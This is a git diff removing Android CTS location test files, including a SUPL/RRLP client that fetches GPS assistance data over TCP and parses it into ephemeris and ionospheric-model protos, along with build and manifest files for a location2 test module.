-  // Jan 6, 1980
-  private static final long GPS_EPOCH_AS_UNIX_EPOCH_MS = TimeUnit.DAYS.toMillis(3657);
-  // A GPS Cycle is 1024 weeks, or 7168 days
-  private static final long GPS_CYCLE_MS = TimeUnit.DAYS.toMillis(7168);
-  private static final int GPS_CYCLE_WEEKS = 1024;
-
-  private final String suplServerName;
-  private final int suplServerPort;
-
-  public SuplRrlpController(String suplServerName, int suplServerPort) {
-    this.suplServerName = suplServerName;
-    this.suplServerPort = suplServerPort;
-  }
-
-  /**
-   * Applies the SUPL protocol call flaw to obtain the assistance data and store the result in a
-   * GpsNavMessageProto
-   */
-  public GpsNavMessageProto generateNavMessage(long latE7, long lngE7)
-      throws UnknownHostException, IOException {
-    // Establishes a TCP socket that is used to send and receive SUPL messages
-    SuplTcpClient tcpClient = new SuplTcpClient(suplServerName, suplServerPort);
-
-    // Send a SUPL START message from the client to server
-    byte[] suplStartMessage = SuplRrlpMessagesGenerator.generateSuplStartLocalLocationMessage(null);
-    tcpClient.sendSuplRequest(suplStartMessage);
-    // Receive a SUPL RESPONSE from the server and obtain the Session ID send by the server
-    byte[] response = tcpClient.getSuplResponse();
-    if (response == null) {
-      return new GpsNavMessageProto();
-    }
-    ULP_PDU decodedMessage = ULP_PDU.fromPerUnaligned(response);
-
-    if (!decodedMessage.getMessage().isMsSUPLRESPONSE()) {
-      return new GpsNavMessageProto();
-    }
-    SessionID sessionId = decodedMessage.getSessionID();
-
-    // Send a SUPL POS INIT message from the client to the server requesting GPS assistance data
-    // for the location specified by the given latitude and longitude
-    byte[] suplPosInitMessage = SuplRrlpMessagesGenerator
-        .generateSuplPositionInitLocalLocationMessage(sessionId, latE7, lngE7);
-    tcpClient.sendSuplRequest(suplPosInitMessage);
-
-    // Receive a SUPL POS message from the server containing all the assitance data requested
-    response = tcpClient.getSuplResponse();
-    if (response == null) {
-      return new GpsNavMessageProto();
-    }
-    decodedMessage = ULP_PDU.fromPerUnaligned(response);
-
-    if (!decodedMessage.getMessage().isMsSUPLPOS()) {
-      return new GpsNavMessageProto();
-    }
-    // build a NavMessageProto out of the received decoded payload from the SUPL server
-    GpsNavMessageProto navMessageProto = buildNavMessageProto(decodedMessage);
-
-    tcpClient.closeSocket();
-
-    return navMessageProto;
-  }
-
-  /** Fills GpsNavMessageProto with the assistance data obtained in ULP_PDU */
-  private GpsNavMessageProto buildNavMessageProto(ULP_PDU decodedMessage) {
-    UlpMessage message = decodedMessage.getMessage();
-
-    PosPayLoad.rrlpPayloadType rrlpPayload =
-        message.getMsSUPLPOS().getPosPayLoad().getRrlpPayload();
-    PDU pdu = PDU.fromPerUnaligned(rrlpPayload.getValue());
-    IonosphericModel ionoModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
-        .getControlHeader().getIonosphericModel();
-    NavigationModel navModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
-        .getControlHeader().getNavigationModel();
-    int gpsWeek = pdu.getComponent().getAssistanceData().getGps_AssistData().getControlHeader()
-        .getReferenceTime().getGpsTime().getGpsWeek().getInteger().intValue();
-    gpsWeek = getGpsWeekWithRollover(gpsWeek);
-    Iterable<NavModelElement> navModelElements = navModel.getNavModelList().getValues();
-
-    GpsNavMessageProto gpsNavMessageProto = new GpsNavMessageProto();
-    gpsNavMessageProto.rpcStatus = GpsNavMessageProto.UNKNOWN_RPC_STATUS;
-
-    // Set Iono Model.
-    IonosphericModelProto ionosphericModelProto = new IonosphericModelProto();
-    double[] alpha = new double[4];
-    alpha[0] = ionoModel.getAlfa0().getInteger().byteValue() * IONOSPHERIC_ALFA_0_SCALE_FACTOR;
-    alpha[1] = ionoModel.getAlfa1().getInteger().byteValue() * IONOSPHERIC_ALFA_1_SCALE_FACTOR;
-    alpha[2] = ionoModel.getAlfa2().getInteger().byteValue() * IONOSPHERIC_ALFA_2_SCALE_FACTOR;
-    alpha[3] = ionoModel.getAlfa3().getInteger().byteValue() * IONOSPHERIC_ALFA_3_SCALE_FACTOR;
-    ionosphericModelProto.alpha = alpha;
-
-    double[] beta = new double[4];
-    beta[0] = ionoModel.getBeta0().getInteger().byteValue() * IONOSPHERIC_BETA_0_SCALE_FACTOR;
-    beta[1] = ionoModel.getBeta1().getInteger().byteValue() * IONOSPHERIC_BETA_1_SCALE_FACTOR;
-    beta[2] = ionoModel.getBeta2().getInteger().byteValue() * IONOSPHERIC_BETA_2_SCALE_FACTOR;
-    beta[3] = ionoModel.getBeta3().getInteger().byteValue() * IONOSPHERIC_BETA_3_SCALE_FACTOR;
-    ionosphericModelProto.beta = beta;
-
-    gpsNavMessageProto.iono = ionosphericModelProto;
-
-    ArrayList<GpsEphemerisProto> ephemerisList = new ArrayList<>();
-    for (NavModelElement navModelElement : navModelElements) {
-      int satID = navModelElement.getSatelliteID().getInteger().intValue();
-      SatStatus satStatus = navModelElement.getSatStatus();
-      UncompressedEphemeris ephemeris = satStatus.getNewSatelliteAndModelUC();
-
-      GpsEphemerisProto gpsEphemerisProto = new GpsEphemerisProto();
-      toSingleEphemeris(satID, gpsWeek, ephemeris, gpsEphemerisProto);
-      ephemerisList.add(gpsEphemerisProto);
-    }
-
-    gpsNavMessageProto.ephemerids =
-        ephemerisList.toArray(new GpsEphemerisProto[ephemerisList.size()]);
-    gpsNavMessageProto.rpcStatus = GpsNavMessageProto.SUCCESS;
-
-    return gpsNavMessageProto;
-  }
-
-  /**
-   * Calculates the GPS week with rollovers. A rollover happens every 1024 weeks, beginning from GPS
-   * epoch (January 6, 1980).
-   *
-   * @param gpsWeek The modulo-1024 GPS week.
-   *
-   * @return The absolute GPS week.
-   */
-  private int getGpsWeekWithRollover(int gpsWeek) {
-    long nowMs = System.currentTimeMillis();
-    long elapsedTimeFromGpsEpochMs = nowMs - GPS_EPOCH_AS_UNIX_EPOCH_MS;
-    long rolloverCycles = elapsedTimeFromGpsEpochMs / GPS_CYCLE_MS;
-    int rolloverWeeks = (int) rolloverCycles * GPS_CYCLE_WEEKS;
-    return gpsWeek + rolloverWeeks;
-  }
-
-  /**
-   * Fills GpsEphemerisProto with the assistance data obtained in UncompressedEphemeris for the
-   * given satellite id.
-   */
-  private void toSingleEphemeris(
-      int satId, int gpsWeek, UncompressedEphemeris ephemeris,
-      GpsEphemerisProto gpsEphemerisProto) {
-
-    gpsEphemerisProto.prn = satId + 1;
-    gpsEphemerisProto.week = gpsWeek;
-    gpsEphemerisProto.l2Code = ephemeris.getEphemCodeOnL2().getInteger().intValue();
-    gpsEphemerisProto.l2Flag = ephemeris.getEphemL2Pflag().getInteger().intValue();
-    gpsEphemerisProto.svHealth = ephemeris.getEphemSVhealth().getInteger().intValue();
-
-    gpsEphemerisProto.iode = ephemeris.getEphemIODC().getInteger().intValue();
-    gpsEphemerisProto.iodc = ephemeris.getEphemIODC().getInteger().intValue();
-    gpsEphemerisProto.toc = ephemeris.getEphemToc().getInteger().intValue() * NAVIGATION_TOC_SCALE_FACTOR;
-    gpsEphemerisProto.toe = ephemeris.getEphemToe().getInteger().intValue() * NAVIGATION_TOE_SCALE_FACTOR;
-    gpsEphemerisProto.af0 = ephemeris.getEphemAF0().getInteger().intValue() * NAVIGATION_AF0_SCALE_FACTOR;
-    gpsEphemerisProto.af1 = ephemeris.getEphemAF1().getInteger().shortValue() * NAVIGATION_AF1_SCALE_FACTOR;
-    gpsEphemerisProto.af2 = ephemeris.getEphemAF2().getInteger().byteValue() * NAVIGATION_AF2_SCALE_FACTOR;
-    gpsEphemerisProto.tgd = ephemeris.getEphemTgd().getInteger().byteValue() * NAVIGATION_TGD_SCALE_FACTOR;
-    gpsEphemerisProto.rootOfA = ephemeris.getEphemAPowerHalf().getInteger().longValue()
-        * NAVIGATION_A_POWER_HALF_SCALE_FACTOR;
-
-    gpsEphemerisProto.e = ephemeris.getEphemE().getInteger().longValue() * NAVIGATION_E_SCALE_FACTOR;
-    gpsEphemerisProto.i0 = ephemeris.getEphemI0().getInteger().intValue() * NAVIGATION_I0_SCALE_FACTOR;
-    gpsEphemerisProto.iDot = ephemeris.getEphemIDot().getInteger().intValue() * NAVIGATION_I_DOT_SCALE_FACTOR;
-    gpsEphemerisProto.omega = ephemeris.getEphemW().getInteger().intValue() * NAVIGATION_W_SCALE_FACTOR;
-    gpsEphemerisProto.omega0 = ephemeris.getEphemOmegaA0().getInteger().intValue() * NAVIGATION_OMEGA0_SCALE_FACTOR;
-    gpsEphemerisProto.omegaDot = ephemeris.getEphemOmegaADot().getInteger().intValue()
-        * NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR;
-    gpsEphemerisProto.m0 = ephemeris.getEphemM0().getInteger().intValue() * NAVIGATION_M0_SCALE_FACTOR;
-    gpsEphemerisProto.deltaN = ephemeris.getEphemDeltaN().getInteger().shortValue() * NAVIGATION_DELTA_N_SCALE_FACTOR;
-    gpsEphemerisProto.crc = ephemeris.getEphemCrc().getInteger().shortValue() * NAVIGATION_CRC_SCALE_FACTOR;
-    gpsEphemerisProto.crs = ephemeris.getEphemCrs().getInteger().shortValue() * NAVIGATION_CRS_SCALE_FACTOR;
-    gpsEphemerisProto.cuc = ephemeris.getEphemCuc().getInteger().shortValue() * NAVIGATION_CUC_SCALE_FACTOR;
-    gpsEphemerisProto.cus = ephemeris.getEphemCus().getInteger().shortValue() * NAVIGATION_CUS_SCALE_FACTOR;
-    gpsEphemerisProto.cic = ephemeris.getEphemCic().getInteger().shortValue() * NAVIGATION_CIC_SCALE_FACTOR;
-    gpsEphemerisProto.cis = ephemeris.getEphemCis().getInteger().shortValue() * NAVIGATION_CIS_SCALE_FACTOR;
-
-  }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java
deleted file mode 100644
index e6f3446..0000000
--- a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java
+++ /dev/null
@@ -1,288 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.suplClient;
-
-import android.location.cts.asn1.base.PacketBuilder;
-import android.location.cts.asn1.supl2.rrlp_messages.PDU;
-import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
-import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
-import android.location.cts.asn1.supl2.supl_pos_init.NavigationModel;
-import android.location.cts.asn1.supl2.supl_pos_init.RequestedAssistData;
-import android.location.cts.asn1.supl2.supl_pos_init.SUPLPOSINIT;
-import android.location.cts.asn1.supl2.supl_start.PosProtocol;
-import android.location.cts.asn1.supl2.supl_start.PosTechnology;
-import android.location.cts.asn1.supl2.supl_start.PrefMethod;
-import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
-import android.location.cts.asn1.supl2.supl_start.SUPLSTART;
-import android.location.cts.asn1.supl2.ulp.ULP_PDU;
-import android.location.cts.asn1.supl2.ulp.UlpMessage;
-import android.location.cts.asn1.supl2.ulp_components.CellInfo;
-import android.location.cts.asn1.supl2.ulp_components.LocationId;
-import android.location.cts.asn1.supl2.ulp_components.Position;
-import android.location.cts.asn1.supl2.ulp_components.Position.timestampType;
-import android.location.cts.asn1.supl2.ulp_components.PositionEstimate;
-import android.location.cts.asn1.supl2.ulp_components.PositionEstimate.latitudeSignType;
-import android.location.cts.asn1.supl2.ulp_components.SessionID;
-import android.location.cts.asn1.supl2.ulp_components.SetSessionID;
-import android.location.cts.asn1.supl2.ulp_components.Status;
-import android.location.cts.asn1.supl2.ulp_components.Version;
-import android.location.cts.asn1.supl2.ulp_components.WcdmaCellInformation;
-
-import java.math.BigInteger;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.BitSet;
-import java.util.Calendar;
-import java.util.GregorianCalendar;
-import java.util.Random;
-import java.util.TimeZone;
-
-import javax.annotation.Nullable;
-
-/**
- * A class that generates several types of GPS SUPL client payloads that can be transmitted over a
- * GPS socket.
- *
- * <p>Two types of SUPL payloads are supported in this version: Local Location and WCDMA versions.
- * However, it should be straightforward to extend this class to support other types of SUPL
- * requests.
- */
-public class SuplRrlpMessagesGenerator {
-  // Scale factors used for conversion from latitude and longitude in SUPL protocol format
-  // to decimal format
-  private static final double POSITION_ESTIMATE_LAT_SCALE_FACTOR = 90.0 / 8388608.0;
-  private static final double POSITION_ESTIMATE_LNG_SCALE_FACTOR = 180.0 / 8388608.0;
-
-  /**
-   * Generate a SUPL START message that can be send by the SUPL client to the server in the case
-   * that device location is known via a latitude and a longitude.
-   *
-   * <p>SUPL START is the first message to be send from the client to the server. The server should
-   * response to the SUPL START message with a SUPL RESPONSE message containing a SessionID.
-   *
-   */
-  public static byte[] generateSuplStartLocalLocationMessage(@Nullable InetAddress ipAddress)
-      throws UnknownHostException {
-
-    ULP_PDU ulpPdu = new ULP_PDU();
-    Version version = ulpPdu.setVersionToNewInstance();
-    version.setMinToNewInstance().setInteger(BigInteger.ZERO);
-    version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
-    version.setServindToNewInstance().setInteger(BigInteger.ZERO);
-    ulpPdu.setVersion(version);
-
-    SessionID sessionId = ulpPdu.setSessionIDToNewInstance();
-
-    SetSessionID setSessionId = sessionId.setSetSessionIDToNewInstance();
-    setSessionId.setSessionIdToNewInstance()
-        .setInteger(BigInteger.valueOf(new Random().nextInt(65536)));
-    if (ipAddress == null){
-      ipAddress = InetAddress.getLocalHost();
-    }
-    byte[] ipAsbytes = ipAddress.getAddress();
-    setSessionId.setSetIdToNewInstance().setIPAddressToNewInstance().setIpv4AddressToNewInstance()
-        .setValue(ipAsbytes);
-
-    UlpMessage message = new UlpMessage();
-    SUPLSTART suplStart = message.setMsSUPLSTARTToNewInstance();
-    SETCapabilities setCapabilities = suplStart.setSETCapabilitiesToNewInstance();
-    PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
-    posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
-    posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
-    posTechnology.setAutonomousGPSToNewInstance().setValue(true);
-    posTechnology.setAFLTToNewInstance().setValue(false);
-    posTechnology.setECIDToNewInstance().setValue(false);
-    posTechnology.setEOTDToNewInstance().setValue(false);
-    posTechnology.setOTDOAToNewInstance().setValue(false);
-
-    setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
-
-    PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
-    posProtocol.setTia801ToNewInstance().setValue(false);
-    posProtocol.setRrlpToNewInstance().setValue(true);
-    posProtocol.setRrcToNewInstance().setValue(false);
-
-    LocationId locationId = suplStart.setLocationIdToNewInstance();
-    CellInfo cellInfo = locationId.setCellInfoToNewInstance();
-    cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
-    // FF-FF-FF-FF-FF-FF
-    final String macBinary = "111111111111111111111111111111111111111111111111";
-    BitSet bits = new BitSet(macBinary.length());
-    for (int i = 0; i < macBinary.length(); ++i) {
-      if (macBinary.charAt(i) == '1') {
-        bits.set(i);
-      }
-    }
-    cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
-        .setApMACAddressToNewInstance().setValue(bits);
-    locationId.setStatusToNewInstance().setValue(Status.Value.current);
-
-    message.setMsSUPLSTART(suplStart);
-
-    ulpPdu.setMessage(message);
-    return encodeUlp(ulpPdu);
-  }
-
-  /**
-   * Generate a SUPL POS INIT message that can be send by the SUPL client to the server in the case
-   * that device location is known via a latitude and a longitude.
-   *
-   * <p>SUPL POS INIT is the second message to be send from the client to the server after receiving
-   * a SUPL RESPONSE containing a SessionID from the server. The SessionID received
-   * from the server response should set in the SUPL POS INIT message.
-   *
-   */
-  public static byte[] generateSuplPositionInitLocalLocationMessage(SessionID sessionId, long latE7,
-      long lngE7) {
-
-    ULP_PDU ulpPdu = new ULP_PDU();
-    Version version = ulpPdu.setVersionToNewInstance();
-    version.setMinToNewInstance().setInteger(BigInteger.ZERO);
-    version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
-    version.setServindToNewInstance().setInteger(BigInteger.ZERO);
-    ulpPdu.setVersion(version);
-
-    ulpPdu.setSessionID(sessionId);
-
-    UlpMessage message = new UlpMessage();
-    SUPLPOSINIT suplPosInit = message.setMsSUPLPOSINITToNewInstance();
-    SETCapabilities setCapabilities = suplPosInit.setSETCapabilitiesToNewInstance();
-    PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
-    posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
-    posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
-    posTechnology.setAutonomousGPSToNewInstance().setValue(true);
-    posTechnology.setAFLTToNewInstance().setValue(false);
-    posTechnology.setECIDToNewInstance().setValue(false);
-    posTechnology.setEOTDToNewInstance().setValue(false);
-    posTechnology.setOTDOAToNewInstance().setValue(false);
-
-    setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
-
-    PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
-    posProtocol.setTia801ToNewInstance().setValue(false);
-    posProtocol.setRrlpToNewInstance().setValue(true);
-    posProtocol.setRrcToNewInstance().setValue(false);
-
-    RequestedAssistData reqAssistData = suplPosInit.setRequestedAssistDataToNewInstance();
-
-    reqAssistData.setAlmanacRequestedToNewInstance().setValue(false);
-    reqAssistData.setUtcModelRequestedToNewInstance().setValue(false);
-    reqAssistData.setIonosphericModelRequestedToNewInstance().setValue(true);
-    reqAssistData.setDgpsCorrectionsRequestedToNewInstance().setValue(false);
-    reqAssistData.setReferenceLocationRequestedToNewInstance().setValue(false);
-    reqAssistData.setReferenceTimeRequestedToNewInstance().setValue(true);
-    reqAssistData.setAcquisitionAssistanceRequestedToNewInstance().setValue(false);
-    reqAssistData.setRealTimeIntegrityRequestedToNewInstance().setValue(false);
-    reqAssistData.setNavigationModelRequestedToNewInstance().setValue(true);
-    NavigationModel navigationModelData = reqAssistData.setNavigationModelDataToNewInstance();
-    navigationModelData.setGpsWeekToNewInstance().setInteger(BigInteger.ZERO);
-    navigationModelData.setGpsToeToNewInstance().setInteger(BigInteger.ZERO);
-    navigationModelData.setNSATToNewInstance().setInteger(BigInteger.ZERO);
-    navigationModelData.setToeLimitToNewInstance().setInteger(BigInteger.ZERO);
-
-    LocationId locationId = suplPosInit.setLocationIdToNewInstance();
-    CellInfo cellInfo = locationId.setCellInfoToNewInstance();
-    cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
-    // FF-FF-FF-FF-FF-FF
-    final String macBinary = "111111111111111111111111111111111111111111111111";
-    BitSet bits = new BitSet(macBinary.length());
-    for (int i = 0; i < macBinary.length(); ++i) {
-      if (macBinary.charAt(i) == '1') {
-        bits.set(i);
-      }
-    }
-    cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
-        .setApMACAddressToNewInstance().setValue(bits);
-    locationId.setStatusToNewInstance().setValue(Status.Value.current);
-
-    Position pos = suplPosInit.setPositionToNewInstance();
-    timestampType utcTime = pos.setTimestampToNewInstance();
-    Calendar currentTime = GregorianCalendar.getInstance(TimeZone.getTimeZone("UTC"));
-    utcTime.setYear(currentTime.get(Calendar.YEAR));
-    utcTime.setMonth(currentTime.get(Calendar.MONTH) + 1); // Calendar's MONTH starts from 0.
-    utcTime.setDay(currentTime.get(Calendar.DAY_OF_MONTH));
-    utcTime.setHour(currentTime.get(Calendar.HOUR_OF_DAY));
-    utcTime.setMinute(currentTime.get(Calendar.MINUTE));
-    utcTime.setSecond(currentTime.get(Calendar.SECOND));
-
-    PositionEstimate posEstimate = pos.setPositionEstimateToNewInstance();
-
-    long latSuplFormat = (long) (Math.abs(latE7) / (POSITION_ESTIMATE_LAT_SCALE_FACTOR * 1E7));
-    long lngSuplFormat = (long) (lngE7 / (POSITION_ESTIMATE_LNG_SCALE_FACTOR * 1E7));
-    posEstimate.setLatitudeToNewInstance().setInteger(BigInteger.valueOf(latSuplFormat));
-    posEstimate.setLongitudeToNewInstance().setInteger(BigInteger.valueOf(lngSuplFormat));
-    posEstimate.setLatitudeSignToNewInstance()
-        .setValue(latE7 > 0 ? latitudeSignType.Value.north : latitudeSignType.Value.south);
-
-    message.setMsSUPLPOSINIT(suplPosInit);
-
-    ulpPdu.setMessage(message);
-    return encodeUlp(ulpPdu);
-  }
-
-  public static byte[] generateAssistanceDataAckMessage(SessionID sessionId) {
-    ULP_PDU ulpPdu = new ULP_PDU();
-    Version version = ulpPdu.setVersionToNewInstance();
-    version.setMinToNewInstance().setInteger(BigInteger.ZERO);
-    version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
-    version.setServindToNewInstance().setInteger(BigInteger.ZERO);
-    ulpPdu.setVersion(version);
-
-    ulpPdu.setSessionID(sessionId);
-
-    PDU pdu = new PDU();
-    pdu.setReferenceNumberToNewInstance();
-    pdu.getReferenceNumber().setInteger(BigInteger.ONE);
-    pdu.setComponentToNewInstance();
-    pdu.getComponent().setAssistanceDataAckToNewInstance();
-
-    PacketBuilder payloadBuilder = new PacketBuilder();
-    try {
-      payloadBuilder.appendAll(pdu.encodePerUnaligned());
-    } catch (IllegalArgumentException | IllegalStateException | IndexOutOfBoundsException
-        | UnsupportedOperationException e) {
-      throw new RuntimeException(e);
-    }
-    PosPayLoad.rrlpPayloadType rrlpPayload = new PosPayLoad.rrlpPayloadType();
-    rrlpPayload.setValue(payloadBuilder.getPaddedBytes());
-
-    UlpMessage message = new UlpMessage();
-    SUPLPOS suplPos = message.setMsSUPLPOSToNewInstance();
-    suplPos.setPosPayLoadToNewInstance();
-    suplPos.getPosPayLoad().setRrlpPayload(rrlpPayload);
-
-    ulpPdu.setMessage(message);
-
-    return encodeUlp(ulpPdu);
-  }
-
-  /** Encodes a ULP_PDU message into bytes and sets the length field. */
-  public static byte[] encodeUlp(ULP_PDU message) {
-    message.setLengthToNewInstance();
-    message.getLength().setInteger(BigInteger.ZERO);
-    PacketBuilder messageBuilder = new PacketBuilder();
-    messageBuilder.appendAll(message.encodePerUnaligned());
-    byte[] result = messageBuilder.getPaddedBytes();
-    ByteBuffer buffer = ByteBuffer.wrap(result);
-    buffer.order(ByteOrder.BIG_ENDIAN);
-    buffer.putShort((short) result.length);
-    return buffer.array();
-  }
-
-}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java b/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java
deleted file mode 100644
index 81d6d06..0000000
--- a/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.suplClient;
-
-import java.io.BufferedInputStream;
-import java.io.IOException;
-import java.net.Socket;
-import java.net.UnknownHostException;
-import java.nio.ByteBuffer;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A TCP client that is used to send and receive SUPL request and responses by the SUPL client. The
- * constructor establishes a connection to the SUPL server specified by a given address and port.
- */
-public class SuplTcpClient {
-
-  private static final int READ_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10);
-  private static final short HEADER_SIZE = 2;
-  /** BUFFER_SIZE data size that is enough to hold SUPL responses */
-  private static final int SUPL_RESPONSE_BUFFER_SIZE = 16384;
-  private static final byte[] SUPL_RESPONSE_BUFFER = new byte[SUPL_RESPONSE_BUFFER_SIZE];
-
-  private Socket socket;
-  private BufferedInputStream bufferedInputStream;
-
-  public SuplTcpClient(String suplServerName, int suplServerPort)
-      throws UnknownHostException, IOException {
-    System.out.println("Connecting to " + suplServerName + " on port " + suplServerPort);
-    socket = new Socket(suplServerName, suplServerPort);
-    socket.setSoTimeout(READ_TIMEOUT_MILLIS);
-    System.out.println("Connection established to " + socket.getOutputStream());
-    bufferedInputStream = new BufferedInputStream(socket.getInputStream());
-
-  }
-
-  /** Sends a byte array of SUPL data to the server */
-  public void sendSuplRequest(byte[] data) throws IOException {
-    socket.getOutputStream().write(data);
-  }
-
-  /**
-   * Reads SUPL server response and return it as a byte array. Upon the SUPL protocol, the size of
-   * the payload is stored in the first two bytes of the response, hence these two bytes are read
-   * first followed by reading a payload of that size. Null is returned if the size of the payload
-   * is not readable.
-   */
-  public byte[] getSuplResponse() throws IOException {
-    int sizeOfRead = bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 0, HEADER_SIZE);
-    if (sizeOfRead == HEADER_SIZE) {
-      byte[] lengthArray = {SUPL_RESPONSE_BUFFER[0], SUPL_RESPONSE_BUFFER[1]};
-      short dataLength = ByteBuffer.wrap(lengthArray).getShort();
-      bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 2, dataLength - HEADER_SIZE);
-      return SUPL_RESPONSE_BUFFER;
-    } else {
-      return null;
-    }
-  }
-
-  /** Closes the TCP socket */
-  public void closeSocket() throws IOException {
-    socket.close();
-  }
-}
diff --git a/tests/tests/location2/Android.bp b/tests/tests/location2/Android.bp
deleted file mode 100644
index 0dc648d..0000000
--- a/tests/tests/location2/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-// Copyright (C) 2012 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsLocation2TestCases",
-    defaults: ["cts_defaults"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-    ],
-    static_libs: [
-        "ctstestrunner-axt",
-        "junit",
-    ],
-    libs: ["android.test.base.stubs"],
-    srcs: ["src/**/*.java"],
-    // uncomment when Location.EXTRA_NO_GPS_LOCATION is removed
-    // sdk_version: "current",
-    platform_apis: true,
-}
diff --git a/tests/tests/location2/AndroidManifest.xml b/tests/tests/location2/AndroidManifest.xml
deleted file mode 100644
index d78c3f8..0000000
--- a/tests/tests/location2/AndroidManifest.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.location2.cts"
-    android:targetSandboxVersion="2">
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.location2.cts"
-                     android:label="CTS tests of android.location">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-</manifest>
-
diff --git a/tests/tests/location2/AndroidTest.xml b/tests/tests/location2/AndroidTest.xml
deleted file mode 100644
index 981c00b..0000000
--- a/tests/tests/location2/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Location test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="location" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLocation2TestCases.apk" />
-    </target_preparer>
